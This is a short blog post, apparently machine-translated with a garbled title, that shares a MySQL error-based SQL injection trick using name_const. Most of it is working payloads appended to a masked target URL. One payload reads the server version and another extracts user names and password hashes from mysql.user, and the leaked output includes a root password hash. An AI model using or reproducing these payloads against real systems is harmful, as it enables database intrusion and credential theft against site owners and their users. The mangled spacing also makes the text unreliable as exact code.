Odd sex stunt: Mysql error injection usage Summary

Remember that the previous blog recorded an error injection Article {Injection Technique: how to inject and use mysql three error Modes}, Today I saw another, and then share it with everyone http://xxx.cn/qcwh/content/detail.php? Id = 330 & sid = 19 & cid = 261 and exists (select * from (select name_const (@ version, 0 )) a join (select name_const (@ version, 0) B) c) Error: Duplicate column name '5. 0.27-community-nt 'error: Duplicate column name' 5. 0.27-community-nt 'http://xxx.cn/qcwh/content/detail.php? Id = 330 & sid = 19 & cid = 261 and exists (select * from (select name_const (select concat (user, password) from mysql. user limit 0, 1), 0) a join (select name_const (select concat (user, password) from mysql. user limit 0, 1), 0) B) c) Error: Duplicate column name 'root * Comment 'Error: Duplicate column name 'root * B7B1A4F45D9E638FAEB750F0A99935634CFF6C82 ′